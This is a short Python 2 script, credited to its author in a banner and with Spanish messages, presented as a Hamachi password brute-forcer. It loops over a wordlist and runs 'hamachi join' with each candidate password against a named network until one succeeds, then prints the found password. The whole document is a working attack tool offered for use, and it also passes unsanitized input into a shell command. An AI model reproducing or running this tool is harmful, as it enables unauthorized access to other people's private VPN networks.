Hamachi Brute Force

#!/usr/bin/python
import socket
import urllib2
import sys
import os
import string
import urllib
import re
import subprocess

class Command(object):

    def __init__(self, command):
        self.command = command

    def run(self, shell=True):
        import subprocess as sp
        process = sp.Popen(self.command, shell = shell, stdout = sp.PIPE, stderr = sp.PIPE)
        self.pid = process.pid
        self.output, self.error = process.communicate()
        self.failed = process.returncode
        return self

    @property
    def returncode(self):
        return self.failed

print '|-----| Komtec1 komtec1[at]gmail[dot]com |------|'
print '|-----|    Hamachi password bruteforce   |------|'
red = sys.argv[1]
archivo = sys.argv[2]
num = 0
try:
    f = open(archivo)
    print 'Todo bien, sigamos con el code'
except :
    print 'No se puede leer el archivo'
while True:
    linea = f.readline()
    if not linea: break
    resultado = Command('hamachi join ' + red + ' ' + linea).run()
    res2 = resultado.output
    if res2.find("failed") >= 0:
        print resultado.output + ' pass: ' + linea
    else:
        print 'Password encontrado: ' + linea
        sys.exit(0)